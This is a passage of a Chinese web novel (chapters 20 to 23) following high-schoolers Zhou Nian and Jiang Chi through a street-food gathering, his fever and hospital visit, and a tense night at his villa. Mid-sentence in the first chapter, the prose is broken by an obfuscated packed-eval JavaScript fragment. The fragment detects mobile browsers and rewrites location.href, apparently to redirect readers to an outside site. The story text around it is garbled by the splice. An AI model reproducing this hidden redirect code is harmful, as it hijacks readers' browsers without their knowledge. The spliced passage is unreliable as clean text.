“一回生二回熟嘛,况且你这都来了好几回了。再说了,你信不信一进门是个人都叫得出你的名字。” “......” “这怎么能叫不熟呢,对吧。” “再再再,再说了,你跟他们不熟,跟阿池能不熟吗。也就是我们这群人不会来事儿,要是一个个会说话,高低得叫你一声嫂子。” “......” “不过话说回来,你俩到底怎么了?我就没看到阿池那么......”他斟酌了会儿,寻思该用什么形容词来形容他现在的状态,萎靡,消沉,一言不发。挑来拣去他选了个最能激发女性同情心的词。 “我就没见他那么‘寻死觅活’过。” “......” 周念有点后悔跟他来这儿听他说单口相声,刚想委婉拒绝就看到拐角处一对男女手挽手走来,那身影很熟悉,她等了片刻,那对男女已经走近。 赵樾发现不远处的周念连忙把挽在姜小小怀里的手抽走,低声说:“好了,别闹了,前面有人。” 姜小小望了眼周念,发现她正看着自己,于是冲她挑衅地笑笑试图去拉赵樾的手。 “有人怎么啦,我那么见不得人?” 赵樾一个抽身往边上躲了一步,语气不太好:“闹够了吗?当初怎么说的?是不是你自己答应的不公开。” 姜小小气愤地咬着唇,片刻,恢复如常娇嗔说:“好啦,我不闹就是了,那么凶干吗。” 赵樾警告说:“你别忘了,这次是你表现好,求着我带你来的,一会儿别给我露馅儿了,尤其是在周念面前。” 姜小小冷冷瞥过周念说:“我知道了。” 徐明还在喋喋不休,把江池近日的状态添油加醋的说给周念听,还没说完就听到周念应了声。 “好,我去。” “啊?” “我说我去夜宵,吃完你把笔记本还给我。” “行。” 徐明心想,这人怪变扭的,说她在意江池又假装清高不肯在一起,说她不在意反倒心疼上了。 呵,女人心海底针。 他转身看到不远处走来的赵樾,喊了声:“来啦。” 说完才发现他身边还带了个女的,看模样不像是叶琳,他远远地觑了眼,看清是姜小小后心下骂了声娘转头去看周念的表情,然而周念脸上没什么情绪,不怒不恼的。 “走吧。” 赵樾挥了挥手,泰然自若地冲周念打招呼:“呦,周老大也在啊,早知道你也在,我就把琳琳带来了。” 周念皮笑肉不笑地扯了扯唇角,随即看向姜小小。 来的路上赵樾就把借口想好了。 “别误会,我们不是一起的。刚好竞赛辅导班下课,正好老薛也叫了她就顺路过来了。” 姜小小配合着笑笑:“就是那么巧,可惜你没有一起上竞赛班,不然就是我们三个一起来了。” 四个人一同走去大排档,为了避嫌赵樾有意和徐明走在前面留两个女生跟在身后。落在最后的姜小小突然上前拍了一下周念的肩膀,待她回头,她冲她笑笑。 “我以为你周念多正经呢,还不是为了一个男人大半夜出来玩。你要浪就别披着乖乖女的衣服玩欲擒故纵,看着真叫人觉得恶心。” 周念抿着唇,没接话,只是不可查地笑了笑。 四个人停在一家叫‘沈家门小海鲜’的大排档门口,徐明拿起手机打电话,对面还没接通,角落那桌就有人朝这头喊:“阿明,这边。” 周念循声望去,这时江池不动声色地看了过来,他像平时一样手里夹了根烟,两道目光短暂相撞,他转过头去吸了口烟,毫不在意地跟边上人说笑。 桌上几人看到徐明四人的组合一时都不知道怎么开口,无数个疑问写在脸上:徐明怎么把周念带来了?赵樾带着姜小小来的?周念不是叶琳的闺蜜吗,她两对付吗? 男人没有女人那么多绕绕弯弯,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139164|163973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 管不了对面几个的感情纠葛。今天是薛易请客,看到人来就招呼一起坐。 “周念和姜小小也来啦,坐吧坐吧,找位置坐。” 一张大圆桌满了一半,徐明本想让周念挨着江池坐,可江池边上是一对小情侣,没理由把人家拆散。另一边是宋佳月,让她让座比登天还难。于是他随意找了个椅子坐下,顺道把边上的椅子抽出。 “周念坐这儿吧。” 周念有意识地看向江池,江池没给她半个眼神,抖了抖烟灰后又吸了一口,边上有人伸出酒杯,他会意夹烟的手拿起酒杯碰杯回应,之后大半杯酒一饮而尽。 宋佳月夹在两人中间,看见周念过分直白的目光忍不住翻了个白眼,但看到江池始终臭着脸,心里多少有点痛快。她挪动椅子往前一步,挡住周念的视线。 “你怎么来了?” 语气一如既往的不友好。 “我请她来的。” 徐明伸出脑袋,眼睛有意无意地往江池身上瞟。 “不欢迎啊?” 后半句不知道是说给谁听的。 宋佳月往嘴里塞了肉,腮帮子鼓鼓的。 “欢不欢迎都来了,还能怎么办。” “嘶~” 徐明瞧不惯她这幅嘴脸。 “我说佳月你能不能收敛一点,看在我和阿池的面子上你对人家的态度也稍微的客气点行吗?” “没关系的。” 周念笑笑说:“已经够好了,起码没把我锁在哪儿。” “噗!” 宋佳月入嘴的酒水喷出一半,差点没把自己呛死。 她怎么什么都知道? 她带着疑惑和幽怨看向江池,仿佛在问:你告的秘?但这天杀的只顾抽烟,根本没理会自己。 倒是徐明一头雾水:“什么意思啊?” 宋佳月紧张地看着周念,深怕她把整件事的来龙去脉全都抖出来,不然她还哪有脸面跟这群人出来喝酒作乐。 好在周念开口前,桌上有人觉得闷了。 “玩点游戏不。” 宋佳月响应地最积极。 “玩,玩国王游戏吧。” 类似于国王游戏、真心话大冒险这种乏善可陈的游戏一般都会成为酒桌上探究八卦打发时间的好办法。 “玩呗,正好无聊。” 有人问隔壁老板要了一副扑克牌,拿到牌后根据需要抽出几张不同点数的牌。周念看着他操作,眼里露出一丝迷茫,刚好这一丝迷茫被宋佳月捕捉到。出于心虚,她向她主动示好:“你是不是不会?” 周念诚实地点了点头:“没玩过。” 宋佳月:“这游戏不需要动脑子。就是一人会分到一张牌,其中拿到‘王’的就是大王,大王可以给任意点数的人下达指令。你要是被抽中了,照做就行了。” 周念若有所思地点了点头,又问:“一般会是什么指令。” 宋佳月一脸无所谓道:“也不是什么难事儿,比如让男生用手给女生量胸围啊,女生用嘴给男生解衣服扣子,比如两个人吃一个苹果啊,比如男女喝个交杯酒啊。” 听完,周念沉默了。 宋佳月看她一脸被吓到的模样心中暗爽,怕了吧。 徐明哼笑一声对周念说:“别听她的,尺度没那么大。要不她都不知道被揩油揩多少回了。” 20-30 第21章 第21章她好像心里没我 江池是五点醒的,醒时恰逢日出,窗外蓝白交替,云层晕染成红色,天空一片斑斓。他走进厕所,在镜 子面前收拾了几分钟,让自己看起来相对内敛和稳重。收拾完毕转去厨房,从冰箱里拿出前一晚上买好的饭菜,他对做饭一窍不通,所以热菜也只是在微波炉里转上一圈。 他把热好的饭菜原封不动的放回打包盒,套上塑料袋,拎着出门。街道开始复苏,早餐店内热腾腾的蒸汽隔着马路飘向另一头,店里的老板惊讶地看他一眼,再回头看了眼墙上的挂历,豁然的点点头。 “小池,起那么早去看你爸?” 江池轻轻的嗯了声,也不知对方听没听到。小鸟岛有个说法,说祭奠亡灵要赶早,黄泉的路只开几个小时,去的晚了就见不上面了。那会儿江池对此嗤之以鼻,总是不屑的说,那腿较慢的人就没资格看看老婆孩子了呗。 可现在他却一刻不敢耽搁。 陵园修在半山上,江父的墓碑很好找,在最大那颗水杉树的边上。江池顺着台阶往上走,走到一半时回头俯瞰山脚,成片成片的水稻呈青黄交接的颜色,他想,再过不到两周就快成熟了。 他来到墓碑前,碑前有人插了香,香灰掉了一地,还没来得及被风吹散。江池下意识往向下张望,试图找到某个熟悉的身影,可惜底下寂静无声。 他想笑,于是笑了出来,他把饭菜一样样摆放在碑前。 “她刚来看过你?” 没人应他。 他又说:“你们是不是有什么误会?” “算了,跟我没关系。” 他用手抹掉墓碑上的灰尘,把墓碑上的照片擦的很干净,然后指了指地上的饭菜说:“吃吧,昨天去你最爱的那家饭店买的,换了厨子不知道合不合你胃口。” 说完一屁股坐在台阶上,开始点烟。他吸了一口,夹在指尖,青烟笔直上升,在顶端徐徐扩散。这会儿,他不可避免的想到了一个人,于是他说。 “忘了跟你说了,我去游泳馆当救生员了,还救了个人。是个女孩,她” 思绪随着话乱飘,后来他干脆就不说了,在墓碑前坐了整整一个上午才回来。 中午回家补了个觉,一睡就是一下午。一天没吃东西,江池觉得有点饿开始在厨房翻箱倒柜,最后搜出一包泡面,泡面是上次聚会徐亮留下的,麻辣味的,他吃不了于是又扔回柜子。 他在隔壁饭馆要了几个小菜和两瓶啤酒,饥饿战胜酒瘾,大口塞了两碗饭后难得勾起的酒瘾也烟消云散。他望着桌上的两瓶酒斟酌了会儿,给徐明发了信息。 ——喝酒吗? ——几点?在哪儿?喝。 ——九点,我家。 ——行。 时间还早,江池独自在银江边散步,江边有不少人走路消食,牵狗的,带娃的,情侣打闹,闺蜜聊天各式各样。这闹哄哄的场景让他想起那个安静的夜,有人坐在江边默默地发泄情绪。 手机上和周念的对话还停留在九月,她没来找过他。他盯着手机愣神,缓过神来蓦地一笑。到底是什么开始,这段关系中的主动权不在自己手里了。 他对着江水和夕阳拍了一张照发给周念。 想着,不在就不在吧。 八点半,江池回到家,他看了眼手机,屏幕一干二净。八点四十分,他打开电视,频道转了一圈下来,再次打开手机,屏幕依然一干二净。八点五十分他上楼洗澡,脱掉上衣时眼睛又不自觉看向手机,这时手机有了信息。 江池重新套上衣服,打开微信发现是徐明。 ——开门 “我真服了老薛了,什么眼光看上歌舞厅的小姐。上次出来见面我就觉得这人不对劲,那粉厚的恨不得把石膏抹脸上。” 徐明骂骂咧咧进门。 “那女的知道这房子是你的,连老薛都不理了,眼睛恨不得长在你身上。回来老薛还在背地埋怨你呢,说你没事儿呆家里干吗。你说好笑不,这你家,你不在这儿能在哪儿。” 江池:“说完了?” 徐明:“没完。” 他一进门,眼睛跟机关枪似的每个角落扫了一遍问:“酒呢?” 江池冲茶几扬了扬下巴。 徐明:“就两瓶?” 江池坐在沙发上,用开瓶器把两瓶酒开了,推过来一瓶。 “一会儿有人送来,想吃点什么?” 徐明仰头吹了半瓶,心情舒畅道:“搞点生腌吧,挺久没吃了。” 江池:“那玩意儿容易拉肚子。” 徐明:“那叫几个小炒,再来点生蚝和螺蛳。” 江池:“行。” 徐明回到刚才话题。 “老薛真犯不着为这种女人打架。” 江池这才有点反应。 “怎么了?” 徐明闷声嗤笑,摇摇头说:“歌舞厅的小姐,赚的就是‘风情’钱,被花钱的老板摸一把揩揩油再正常不过。谁晓得那天被老薛看到了,他对那女的也是上了心的,看到别的男人对自己女人动手动脚,气急就给了人一拳。” 老薛名叫薛易,是徐明和赵樾的发小,和江池算不上多深的交情,最多只能算酒肉朋友。 “这不,现在还在派出所呢,人家老板不差钱不愿意拿钱和解。”说完,徐明仰头往沙发上靠去:“还是你眼光好,周念真不赖。” 这话一出,江池脸色不太好看。 “别什么人都拿来跟她比。” “对了。”徐明笑得猥琐:“你俩怎么样,有进展不?” 江池冷着脸,没说话。 “没有?” 沉默。 “她没理你?” 沉默。 徐明大笑,眼泪水都快笑出来了。 “哎呦呦,我们人见人爱的江小爷在感情上哪儿受过这种委屈啊,周学霸也太不解风情了,几本破书哪儿有你好看。” 他又不禁要感慨:“我以为你在花丛中周旋那么久,怎么说也练就一身哄女人的功夫,怎么在周念面前就施展不开了呢。” 江池拿遥控器砸他,他歪头一躲问道:“上次的事儿,她没看出来你生气?” 看出来又怎么样? 还不是照样走了,事后也没解释,一句话也没有。 江池有点吃不准她。 “她好像心里没我。” 这时送酒送餐的一起来了,趁着空当江池不死心地看了眼手机,微信一片死寂,他想她应该不会回了。 徐明一连开了五瓶啤酒,挨个竖成一排,他嗦了口生蚝,味道不错,于是他惊喜地挑了挑眉。 “要我说她不理你就两种可能。” “要么就是她对你根本没感觉。” “要么她就是这个。” 徐明竖起大拇指:“情场高手,若即若离让你患得患失,从而拿捏你。” 江池笑了笑,觉得她要是愿意拿捏自己,也未尝不是件好事。 “她没谈过恋爱,哪儿懂那么多。” “你谈过?” 徐明反问他:“那群女生招惹你的时候,你不是也很懂,人家一句话一个眼神,你就明白了。” “怎么换周念你就看不出来了?” 江池无声而漫长的叹了口气,他拿了瓶开盖的啤酒喝了几口。 “那你说怎么办?” “示弱。” 徐明嘬了口螺蛳:“女人最容易心软了,你在她面前示弱,她百分百会搭理你。” 江池听乐了:“怎么示?你示个给我看看?” “这” 徐明说:“我暂时没想好,想好了告诉你。” 江池‘呵’了声说:“瞎指挥。” 这场酒持续到了下半夜,徐明像一滩烂泥躺在沙发上,江池没喝多,盯着电视剧发了很久的呆。他把桌子收拾了好从房间里拿出一条薄被子随手一扔盖在徐明身上。然后关上电视剧,上楼洗澡。 一房子酒气,江池洗完澡,打开窗户通风,确定沙发上这滩烂泥能安然无恙地睡到明天一早后他决定出门走走。 走出没几步,脑袋里蓦地蹦出一个画面,墓碑前掉落的香灰纹丝不动地躺在地上。无论处于什么原因,傅妍要离开这个 小家,但起码今天这个日子,她是记得的。 脚步又不听使唤地来到小矮楼前,凌晨一点半,小楼几乎浸没在黑夜里,只有傅妍房间的灯还是亮着的。 玻璃窗透出光来,是暖暖的黄色,江池第一次觉得这种颜色的光那么好看,好看到想要沐浴在这光之下。他对着窗户抽完一根烟后准备离开,他把烟蒂抛向垃圾桶,转头看到一个男人从楼梯口出来。 那男人刚到楼下似乎忘了什么,又折返回去,就在这时,江池看到傅妍从楼上下来,手里拿着一个手机。两人对视笑着,那种笑江池没见过,至少这样的笑在江桥面前是没有的。 回程的路上,江池心里堵的难受,有些记忆肆无忌惮地涌现在他脑海,那时一家三口出去玩,玩累了江桥会背着傅妍,自己会撒泼打滚质问父亲为什么不背自己,江桥说,你是小小男子汉,妈妈需要爸爸保护。 还有一次,江桥右手骨折了,但他依旧买菜做饭,甚至在那段时间练就了左手烧饭做菜的本事。那会儿江池问他‘你怎么不让妈妈烧’。江桥的回答是,你爸没死呢,轮不到你妈烧。 几乎所有的记忆都在展示父亲是个多合格的丈夫,那为什么偏偏这样的付出换不来对等的感情呢?他替江桥不值,无论从前还是现在。 那男人是谁?会是周念的父亲吗?江池不敢再想,他害怕,逃避,迫使自己忘掉刚才的一幕,回到家后,他又上楼洗了个澡,用干毛巾胡乱抹了把头发后下楼喝酒,直到失去意识,一觉睡去。 第22章 第22章我昨晚是不是让你在周念…… 徐明醒来,窗外天光大亮,他闭着眼迷迷糊糊地在沙发上摸索手机。 “操,十一点了,完了完了完了。” 他一个鲤鱼打挺站起来,没撑两秒又倒在沙发,他睁着眼大脑放空了半分钟才意识到自己还在江池家。 “阿池?” 偌大的客厅寂静无声。 徐明脑袋一晃疼得厉害,这是宿醉的下场,他骂了声娘后缓缓爬起来,又喊了一声:“阿池?” “嗯?” 江池应得很轻,声音软绵绵的,有气无力。 徐明侧目看去,江池坐在隔壁沙发上闭目养神,‘闭目养神’这四个字有待考究,他不确定他是在沙发上坐着睡了一晚,还是在床上睡了一晚下来睡个回笼觉。但徐明更倾向后者,因为昨晚在他有意识的时候,江池还没喝多。 他问:“你昨天睡这儿?” 江池又是闷闷的一声‘嗯’。 徐明觉得这声音有点不太对劲,他走到江池边上仔细的端了他一眼,江池的肤色在男生中属于偏白,但现在这种白完全是种病态的惨白,像浮了两三天的死鱼,连嘴唇都没有一点血色。 “你是不是不舒服?” “有点。” 江池脑袋涨得厉害,脑子里好像装了个炸弹,每说一个字就会引爆一次炸弹,震的他脑仁疼。 徐明摸了下他的额头。 “操,那么烫?” 江池这才睁开了眼,一双布满红血丝的眼睛。 “昨晚没吹头,窗户开着可能着凉了。” 徐明说:“家里有体温计吗?量一下。” 江池:“不用,你去学校吧,我去楼上躺会儿就好了。” 徐明又摸了下他的后颈:“不行,这温度估计得有40往上,再烧下去会出事儿的。” 江池闭眼笑了笑:“死不了,要真出事了算我的,不赖你。” 徐明说:“死是死不了就怕脑子烧坏了,你想你那么一张帅脸,要是蹲路旁撒尿跟狗抢地盘那不得上新闻啊。” 江池没力气跟他扯,淡淡回了个“滚”。 徐明不死心:“你到底去不去?我现在去学校也来不及了,干脆请个假陪你去医院。” 江池也是铁了心:“烦不烦,我说不去,听不懂?” 徐明不再理他,自顾自去厕所抹了把脸,对镜子臭美一番后想到什么,于是从门里探出大半个身,他咧嘴笑道:“我昨晚是不是让你在周念面前示弱来着?这不机会就来了吗?” 江池张开眼缝:“什么意思?” 徐明的声音从厕所传来。 “你不是不确定她心里有没有你吗?你现在去医院,我把消息放给她,看她来不来。” 江池沉默。 徐明又说:“就赌这一次,她要来了,你们就成了。她要不来,你就死了这条心吧。” ** 下午第二堂课是物理,物理老师是个五十几岁的老头,作风老派,讲课古板,又没有其他课老师风趣幽默,班上一半人都忍不住点头瞌睡。这堂课的重点是巩固基础,没有更深入的内容,知识点对于周念而言已经滚瓜烂熟,但她还是很配合的听完了整一堂课,下课时有人喊了她一声。 “老大,有人找你。” 周念循声望去,徐明就站在门口的走廊上,她有预感,他是为了江池来的。 周念走到门,脸上带着很淡的笑。 “你找我有事?” 徐明摸着后脑勺憨笑道:“没什么大事儿,这不是要模拟考了吗,就打算跟周老大借点复习资料看看。你读书那么好,划的重点肯定都考。” “我都是根据老师给的重点划的,没什么特别。” 周念想了想说:“如果是图个心安的话,你借走就是了。” “周老大果然大方。” 他顿了顿,口吻略带惋惜:“本来今晚大家约了饭想请你一起来的。可惜阿池生病了,这顿饭就取消了。” 徐明说这话时,特意留意了周念的表情,但她好像永远都是那副样子平和安静,不管是语气还是眼神察觉不到一丝波澜。 周念:“他生病了?” “是啊。”徐明添油加醋道:“发烧到40度,我就没见他那么虚弱过,说句话都吃力。” 周念抿唇,又问:“去医院了吗?” “刚去不久,估计在排队等报告。”徐明补充道:“就在三院,离这儿还挺近的,公交过去半小时。” 周念回到教室,瞥了眼黑板上的课程表,下午还有两节课,一节数学,一节英语。她坐回座位把下一节要用到的课本和相关资料放到书桌上。 叶琳探个脑袋问她话:“徐明找你?” 周念说:“嗯。借笔记本。” 叶琳觉得好笑:“他借笔记本?他们那帮人什么成分我还不知道,除了赵樾还算个爱读书的,其他谁会想到看书啊。是不是还有别的事儿。” 周念翻开上周数学测试的试卷,满分一百五,她得了一百四十七,那三分是最后一道大题计算失误扣的,她在草稿纸上默默算了遍才说:“江池发烧了,现在在医院。” 叶琳:“啊?那你要去看他吗?” 笔尖在纸上沙沙作响,直到上课铃响起,她也没给出答案。 江池在家里睡了一觉才来医院,到医院已经是下午三点了。三院是银城的中心医院,因为是老牌医院,大家有个小病小痛都喜欢往三院赶。所以不论季节,不论早晚,三院总是熙熙攘攘,热闹的不行。 仅仅是验个血就用了他整整两个小时。 医生给他配了点药,开了几袋盐水。他拿着药房配来的盐水站在医院门口往外张望,天色慢慢暗下来,乌云压的很低,快下雨了。 她应该不会来了。 耳边回荡起徐明刚才的话——如果她不来,你就死了这条心吧。 他看着手里几袋盐水深深吸了口气,又缓缓叹出。 江池坐在输液室里,看着一滴一滴的盐水顺着软管往下流,时间被一点一滴的具象,这是个漫长又枯燥的过程。他不想等太久,自作主张把流速开到最大,这一举动招惹来了护士。小护士本想数落他几句,看清他的脸后态度一改,温声细语道。 “这个水不能挂太快,要是有点副作用,你自己身体受不了。” 说完,护士把调节器调到中央,水 滴甚至比之前还要慢。 江池有点不耐烦,开始低头玩游戏,浑浑噩噩玩了两把游戏。半个小时过去,那一袋盐水几乎没什么变化。他看了眼护士,现在人多,护士顾及不上他,他又把流速开到最大,水滴快到几乎连成水线。 他往走廊尽头看了眼,人群来往,没有那个熟悉的身影。 她应该不会来了。 江池再次打开游戏,玩了会儿发现已经没法集中注意力,于是他把手机锁屏放进口袋,身体后仰紧贴椅背,开始闭目养神。 视觉关闭的同时听觉变得无比敏锐,有人拖着椅子走动,有人窃窃私语,有人听音乐,有人看视频。其中有个脚步正在靠近,那步子很轻,轻得快被周遭的声响掩盖,那声音很平常,又很特别,特别到能让他在一众嘈杂声中清清楚楚得分辨出。 那步子停在他面前,一片阴影投了下来。 江池勾了勾唇,刚想睁眼就听到护士近在咫尺的抱怨。 “怎么回事儿啊,都跟你说了不要调那么快,真要出了什么事儿医院是要负责的。那么大的人了,自己的身体自己不珍惜。” 江池闭着眼,失望自嘲地轻哼一声。 这时一个声音入耳。 “不好意思,他这人就这样,有点孩子脾气,给您添麻烦了。” 江池猛地睁眼,当时周念就站在他面前,挡住头顶那盏炽烈的白织灯。白光勾勒出她的身影,连同她头顶兀气的毛发都描摹的一清二楚。她正讪讪地笑着,唇角微微勾起,有些许光进入她琥珀色的眼里,显得如此不真实。 “我保证不让他再乱调了,真的抱歉。” “你看好他,我们已经很忙了,能不能体谅一下医护工作者。” “实在对不起,我一定看好他。” 周念长长地吁出一口气,低头看江池,他正笑着,不加掩饰地看着她。 他说:“你来了。” 她说:“嗯,我来了。” 周念把调节器调至最低,江池看了眼那水滴的速度居然没有抗议。 江池:“你逃课来的?” 周念看了眼盐水袋子上的字,纠正道:“是请假,我不逃课。” 他笑笑,心想都一样。 “现在有没有哪里不舒服。” “哪里都不舒服。” “” 周念坐在他旁边的空位上,严肃又认真地重复了一边:“现在有没有哪里不舒服?我要实话。” 江池又笑:“你在关心我吗?” 周念不跟他扯皮,她看着面前的药水,猜测一时半会结束不了。 “吃饭了吗?” 江池摇了摇头:“你呢?” 周念:“正好我也没吃,我去买点吃的,你在这儿等我。” 江池难得乖巧的点点头:“好。” 饭点的缘故,医院食堂挤满了人,周念在门边徘徊了半天发现想要早点买到饭就必须硬挤。于是她转头去了医院便利店,便利店也好不到哪儿去,摩肩接踵喘口气都难,她刚走到货架附近就被人群带着往前走,没有太多选择余地,她只能随手在架子上顺了袋面包,付完钱才发现连水都没买。 周念来到自助售货机前,里面的饮料全部售罄,她看了眼干巴巴的面包决定让江池先将就着吃点。 “念念?” 周念回头,发现周宏姗脸色挂着一抹耐人寻味的笑意。 “小姑?” 她差点忘了,她是三院的医生。 周宏姗双手插在白大褂的口袋里,好整以暇地看着她。 “旷课了?” “没有,是请假。” “那小子谁啊?” 周念面不改色:“同学。” 周宏姗显然不相信她的鬼话揶揄道:“什么同学?生病还需要你请假照顾。” 周念哑然,周宏姗叹了口气,语重心长地说道:“你知道的,小姑是不会反对你恋爱的,青春期懵懵懂懂的感情是美好的,值得回味的。但是这些都是有前提的,前提是你要分清主次,我虽然不赞同你妈妈‘学习至上’的教育理念,但我也不赞同你为了图一时新鲜而毁掉好不容易得来的成绩。” “小姑。” 周念说:“你放心,我知道自己该做什么。你担心的事情,永远都不会发生。” 周宏姗松了口气:“那就好。” 周念:“那没事我就先走了。” 周宏姗做了个打发人的手势说:“走吧。” “哦,对了。” “嗯?” 周宏姗再次扬起那个耐人寻味的笑容:“眼光不错,那小子有点姿色。” “” 第23章 第23章江池,你能不能等我一年…… 周念回到输液室,江池已经睡着了,他靠在椅子上,微微歪着脑袋,胸口的起伏均匀而绵长。他脸色很憔悴,眼袋下是一圈淡紫色黑眼圈,粉白的嘴唇有些干裂,或许是身体不适,又或许是梦到什么,他的眉头始终是皱着的。 周念脑中莫名其妙的蹦出一个词:易碎,轻轻一碰就会四分五裂。 她落坐的时候刻意放缓了动作,即便如此,江池还是醒了,他说:“回来了?” 周念把手里的面包举起说:“我忘买水了。” 江池调整了下坐姿:“我不饿,你先吃。” 周念没吃,她不饿也没胃口。她把面包放在一旁,从书包里取出一张空白试卷,又拿出一只笔,在试卷的姓名处利落地写上周念二字。 江池微挑眉梢,有点惊讶:“你写得进去?” 周念将一本厚厚的硬壳书垫在试卷下面,淡淡地回道:“嗯,明天一早得交。” 江池没再打扰她,拿出手机开始刷新闻,心不在焉地刷了两分钟后,注意力依然回到周念脸上。她认真做事的时候表情很严肃,带着一股执拗的憨劲,像在跟什么较劲。 他轻轻地笑出声,下意识地叫了声她的名字。 “周念。” 周念抬头:“嗯?” 江池:“没什么。” 之后江池就真的再也没打扰她,周念全神贯注地作业,试卷完成了一张又一张,等她全部做完时发现江池的盐水已经挂完了,连针都拔了很久。 周念把试卷放进书包,看了眼手机,晚上九点多了,从这里回家需要大半个小时,好在今天张宁晚班,没空管她。 “我得回家了。” 江池默了秒说:“好,路上注意安全。” 周念:“嗯,你也是。” 周念走在输液室通往医院大门的路上,她闻着空气里充斥着的消毒药水的气味,脑中蓦然浮现起那张憔悴的侧脸,她路过一扇扇窗,窗外死黑一片,她忽然停住脚步,深深吸气后原路折返。 江池还在那里,他就只是枯坐着,没有说话,没有动作,甚至没有表情,他就只是枯坐着那儿,孤独得像个等待被认领的小孩。在那一刻,周念仿佛看到深藏在他骨髓里,那股说不清道不明的阴郁无声地、猛烈地爆发了。 周念走到他身边,垂下头,看着他。 “我陪你回去吧。” 江池抬头,再一次看到她挡在那盏炽烈的白织灯前,周围的光朦胧的很不真切。 江池拦了一辆出租,地址是银城有名的别墅区。上车后两人沉默不语,倒是司机喋喋不休说了些有点没的。 “变天咯,下半个月开始要凉快了。” “送完你们这趟,我差不多要收工了。” “天气预报说要下雨,阴了一天了,说下不下的。” 江池把车窗摇下,目光留在窗外, 天色太黑看不出积云的厚度和颜色。他偏头看向周念,担心她回家时会有雨,想着要不自己半道下车让司机单独送她回家。很快,这个稍纵即逝的念头被他的私心取代,他给自己找了借口,万一不下呢。 江池没让司机开进小区,而是在周围下了车。周念正疑惑着被他领进一家小饭馆。他应该是常客,老板跟他对话的语气想当熟络。 “来啦,今天吃点什么?” 江池把原话给周念重复了一遍:“你想吃点什么?” 被医院的味道熏了半天,这会儿周念没什么胃口,她看着墙上的菜单随口说:“拌面就行。” 江池冲厨房说:“一碗拌面。” 周念稍有疑惑:“你不吃吗?” 江池从桌底捞出个凳子说:“我不饿,你吃吧。” 老板的手艺很不错,周念原本没什么胃口,看到拌面端上的那一秒肚子很诚实的咕咕叫了两声,她埋头吃了几口半饱后下意识的说道:“老板做的很好吃,你常来吗?” 没人回答。 周念抬头,发现江池又睡着了,他坐在凳子上背靠墙壁以一个相对板正又不太舒服的姿态睡着了。 江池家的别墅被一个小花园包裹着,周念看着花坛里肆意疯长的枝桠和杂乱成团的花圃猜测这里应该很久都没人打理了。江池留意到她的眼神,猜到她在想些什么。 “有两三个月没理了,改天叫个钟点工来修剪一下。” 周念说:“如果你不喜欢打理这些,可以直接铲掉。” 而不是现在这样,张牙舞爪阴森得像个活脱脱的鬼屋。 江池不咸不淡的回道:“种着吧,种都种了。” “哦。”周念顺着他的话点了点头说:“我得回去了,你自己注意休息。” 江池没说话,自顾自搅动家门钥匙,清脆一声,门开了。 “你不怕我死在家里?” “” 他的语气从油腔滑调到小心翼翼只用了短短一秒。 “能不能再陪我一会儿?” 周念没作声。 江池:“就一会儿。” 周念对这房子的第一印象是空,空到无从寻找生活的痕迹,就像是供人参观的样板房,装修华贵却毫无人气,贫瘠到需要借助门外的一花一草来增添生机。她突然明白江池为什么舍不得铲掉门外的植物,因为跟室内一层不变的死物相比,窗外的花是会开的,或许是某个早晨,也或许是某个不被期待的冬天。 江池把沙发上的被子甩到角落说:“坐吧。” 周念没坐,站在原地,沉了口气:“很晚了,我得回去了。” 江池眼巴巴地看着她说:“我饿了。” “” 周念有点无奈,但还是问了句:“厨房里有什么。” 江池倒是诚实:“什么都没有。” “” 有那么一秒,周念对他是否真的饿了产生怀疑。 “不过。”他试着回忆了一下:“好像有袋米。” 他记得去年年末徐明送了一小袋米过来,原本一行人计划在这儿吃年夜饭,自己动手丰衣足食,谁想计划赶不上变化,遇上家里老人过世,于是这顿年夜饭就此作罢。倒是那袋米应该还在厨房角落里,如果没有今天这一出估计会等到发霉才记得起它。 “除了米,其他还有吗?” “还有一包泡面。” “” “粥喝吗?” “喝。” 胖乎乎的米粒在沸水里来回翻腾,周念看着锅里的粥莫名的猜想,客厅一点动静没有,江池是不是睡着了。于是她偏头去看沙发,果然他又一次睡着了。这次他似乎睡得很沉,整个人歪倒在沙发上,脸上没有一丝丝的难受,表情舒展而放松。 这一觉应该能睡到天明。 这般想着周念回头看锅里的粥,翻滚、冒泡,扑腾,继续煮了十几分钟,她把火关了,打算用余温把粥闷烂。这样第二天一早热一下就能吃了。 把厨房灯关闭后,她轻手轻脚来到沙发前,把角落那条被子盖在江池身上。一切就绪正打算回家时,厨房又传来滴答滴答的水滴声,估计是刚刚淘米时没把水龙头关紧。 料想不过是一秒钟的小事,所以周念没有开灯摸黑进了厨房,水滴还在断断续续的流,她把手柄推到底后安静地等了几秒,滴答滴答的水声开始变缓,她又耐着性子等了几秒,水没停。 反反复复几次,周念怀疑水龙头是不是坏了,但刚刚明明是好的。晃神间,身后突然伸出一只手,越过她用力地按在手柄之上。 “老毛病了,改天叫人来修。” 周念呼吸微滞,这声音是从她耳边传来的,很近,甚至能感受到喷在她头顶和耳廓的热气。江池的手离开手柄落在水池旁的台面上,另一只手顺势将面前的人环绕在狭小的空间里。 最后一滴水没能成功滴下,卡在那儿,上不去也下不来。 至此,厨房彻底安静了。 周念没回头,她说:“你醒了?” 后面很轻的‘嗯’了一声。 “粥煮好了。” “嗯。” “如果不饿,可以留着明天早上吃,热一下就行。” “嗯。” “我得走了。” 半晌,彼此静默无言。 “转过来。” 他说话的声音很轻,像在征求什么,他只手握住周念的胳膊,没施多重的力,把人缓缓转向自己。周遭太黑,他看不清她的眼睛,分辨不出她的神情,只能从缓急的呼吸声中揣测她的心意。 他低下头,慢慢靠近,那个吻即将落下时周念偏头躲开。 水滴不滴了,呼吸停滞了,时间静止了。 黑暗中,她说:“江池,你能不能等我一年。” 他沉默,没给回应。 半晌,极浅地哼了声。 “周念,你是不是在玩我?” 